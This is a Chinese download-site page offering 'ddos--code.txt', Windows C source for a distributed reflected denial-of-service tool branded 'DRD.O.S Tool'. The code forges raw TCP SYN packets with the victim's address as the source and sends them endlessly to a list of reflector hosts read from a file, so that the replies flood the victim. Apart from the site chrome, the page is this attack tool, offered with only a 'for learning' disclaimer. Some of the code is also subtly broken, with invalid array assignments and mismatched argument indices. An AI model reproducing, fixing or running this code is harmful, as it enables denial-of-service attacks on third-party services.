⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ddos--code.txt

📁 关于分布式拒绝服务攻击的代码
💻 TXT
字号:
本人收集的高手的代码,仅供学习
#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#include <Ws2tcpip.h>
#pragma comment(lib,"ws2_32")
#define HOST_LEN 15
#define SEQ 0x28376839
#define TCP_SERVER_PORT 80
#define FAKE_PORT 80
#define STATUS_FAILED 0xFFFF



typedef struct _iphdr
{
   unsigned char   h_lenver;
   unsigned char   tos;
   unsigned short total_len;
   unsigned short ident;
   unsigned short frag_and_flags;
   unsigned char   ttl;
   unsigned char   proto;
   unsigned short checksum;
   unsigned int   sourceIP;
   unsigned int   destIP;
}IP_HEADER, * PIP_HEADER;

typedef struct _tcphdr
{
   unsigned short th_sport;
   unsigned short th_dport;
   unsigned int   th_seq;
   unsigned int   th_ack;
   unsigned char   th_lenres;
   unsigned char   th_flag;
   unsigned short th_win;
   unsigned short th_sum;
   unsigned short th_urp;
}TCP_HEADER, * PTCP_HEADER;

struct
{
   unsigned long   saddr;
   unsigned long   daddr;
   char         mbz;
   char         ptcl;
   unsigned short tcpl;
}psd_header;

int SendThread(int argc, char * argv[], char * destIp);
void Usage(char *);
void GetCMD(int argc, char * argv[]);
USHORT checksum(USHORT * buffer, int size);

int main(int argc, char * argv[])
{
   WSADATA wsaData;
   int   ErrorCode;
   
   if(argc < 2 || argc > 6)
   {
       Usage(argv[0]);
       ExitProcess(STATUS_FAILED);
   }
   if((ErrorCode=WSAStartup(MAKEWORD(2, 1), &wsaData))!=0)
   {
       fprintf(stderr, "WSAStartup failed: %d\n", ErrorCode);
       ExitProcess(STATUS_FAILED);
   }

   ErrorCode = SendThread(argc, argv, argv[1]);
   if(ErrorCode != 0)
   {
       fprintf(stderr, "Thread failed: %d\n", ErrorCode);
       ExitProcess(STATUS_FAILED);
   }
   return 0;
}

int SendThread(int argc, char * argv[], char * destIP)
{
   int   TimeOut=2000, ErrorCode, flag, i=0;    
   char   SendBuff[128];
   char   HostName[HOST_LEN];
   char   ch;
   FILE * fp;
   SOCKET SendSock;
   struct sockaddr_in DestAddr;
   IP_HEADER IpHeader;
   TCP_HEADER TcpHeader;

   if((fp=fopen("honkeriplist.txt", "r")) == NULL)
   {
       printf("Error: File not found!\n");
       return -1;
   }
   SendSock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED);
   if(SendSock == INVALID_SOCKET)
   {
       fprintf(stderr, "socket failed: %d\n", GetLastError());
       ExitProcess(STATUS_FAILED);
   }

   flag = true;
   ErrorCode = setsockopt(SendSock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(int));
   if(ErrorCode == SOCKET_ERROR)
   {
       fprintf(stderr, "set IP_HDRINCL failed: %d\n", GetLastError());
       ExitProcess(STATUS_FAILED);
   }

   __try
   {
       if(argc > 4)
           TimeOut = atoi(argv[3]);
       ErrorCode = setsockopt(SendSock, SOL_SOCKET, SO_SNDTIMEO, (char *)&TimeOut,
           sizeof(TimeOut));
       if(ErrorCode == SOCKET_ERROR)
       {
           fprintf(stderr, "set TimeOut failed: %d\n", GetLastError());
           __leave;
       }
   
       DestAddr.sin_family = AF_INET;
//        DestAddr.sin_addr.s_addr = inet_addr(SERVER);
       if(argc > 3)
           DestAddr.sin_port = htons(atoi(argv[3]));
       else
           DestAddr.sin_port = htons(TCP_SERVER_PORT);

       IpHeader.h_lenver = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long));
       IpHeader.tos = 0;
       IpHeader.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER));
       IpHeader.ident = 1;
       IpHeader.frag_and_flags = 0;
       IpHeader.ttl = 128;
       IpHeader.proto = IPPROTO_TCP;
       IpHeader.checksum = 0;
       IpHeader.sourceIP = inet_addr(destIP);
       IpHeader.destIP = inet_addr("0.0.0.0");

       if(argc > 2)
           TcpHeader.th_sport = htons(atoi(argv[2]));
       else
           TcpHeader.th_sport = htons(FAKE_PORT);
       if(argc > 3)
           TcpHeader.th_dport = htons(atoi(argv[3]));
       else
           TcpHeader.th_dport = htons(TCP_SERVER_PORT);
       TcpHeader.th_seq = htonl(SEQ);
       TcpHeader.th_ack = 0;
       TcpHeader.th_lenres = (sizeof(TCP_HEADER)/4<<4|0);
       TcpHeader.th_flag = 2;
       TcpHeader.th_win = htons(16384);
       TcpHeader.th_urp = 0;
       TcpHeader.th_sum = 0;

       psd_header.saddr = IpHeader.sourceIP;
       psd_header.daddr = IpHeader.destIP;
       psd_header.mbz = 0;
       psd_header.ptcl = IPPROTO_TCP;
       psd_header.tcpl = htons(sizeof(TCP_HEADER));

/*        memcpy(SendBuff, &psd_header, sizeof(psd_header));
       memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER));
       TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader));
   
       memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
       memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
       memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4);
       IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));

       memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
       memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); */
       
       printf("Send Packets\n");
       int Packets = 0;

       ch = fgetc(fp);
       GetCMD(argc, argv);
       while(1)
       {
           if(ch == '\n' || ch == EOF)
           {
               HostName = '\0';
// Add your code here-----------------------
               DestAddr.sin_addr.s_addr = inet_addr(HostName);
               IpHeader.destIP = inet_addr(HostName);
               IpHeader.checksum = 0;
               psd_header.daddr = IpHeader.destIP;
               TcpHeader.th_seq = htonl(SEQ);
               TcpHeader.th_sum = 0;

               memcpy(SendBuff, &psd_header, sizeof(psd_header));
               memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER));
               TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader));
   
               memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
               memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
               memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4);
               IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));

               memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
               memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER));

               Packets++;
               if(Packets == 10240)
               {
                   printf(".");
                   Packets = 1;
               }
               ErrorCode = sendto(SendSock, SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0,
                   (struct sockaddr *)&DestAddr, sizeof(DestAddr));
//                printf("->%s\n", HostName);
//----------------------------
               i = 0;
               ch = fgetc(fp);

               if(ch == EOF)
               {
//                    i = 0;
                   rewind(fp);
//                    memset(HostName, 0, sizeof(HostName));
               }
           }
           HostName = ch;
               i++;
           ch = fgetc(fp);
       }
   }
   __finally
   {
       if(SendSock == INVALID_SOCKET)
           closesocket(SendSock);
       WSACleanup();
   }

   return 0;
}

USHORT checksum(USHORT *buffer, int size)
{ 
   unsigned long cksum=0;
  while(size >1)
   {
       cksum+=*buffer++;
    size -=sizeof(USHORT);
  }
  if(size)
   {
       cksum += *(UCHAR*)buffer;
   }
  cksum = (cksum >> 16) + (cksum & 0xffff);
  cksum += (cksum >>16);

   return (USHORT)(~cksum);
}

void Usage(char * msg)
{
   printf("+-----------------------------+ \n");
   printf("|       DRD.O.S Tool       |\n");
   printf("| www.honkerunion.com |\n");
   printf("+-----------------------------+\n");
   printf("USAGE:\n");
   printf(" %s DestIP [DestPort] [TcpServerPort] [TimeOut]\n", msg);
   printf("EXAMPLE:\n");
   printf(" %s 210.128.000.000\n", msg);
   printf(" %s 210.128.000.000\n", msg);
   printf(" %s 210.128.000.000 80 170 \n", msg);
   printf(" %s 210.128.000.000 80 170 2000\n", msg);
}



void GetCMD(int argc, char * argv[])
{
   printf("<------------------------>\n");
   printf(" Target: %s\n", argv[2]);
   if(argc > 3)
       printf(" Target Port: %d\n", atoi(argv[3]));
   if(argc > 4)
       printf(" TCP Server Port: %d\n", atoi(argv[4]));
   if(argc > 5)
       printf(" Timeout: %d\n", atoi(argv[5]));
   printf("<------------------------>\n");
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -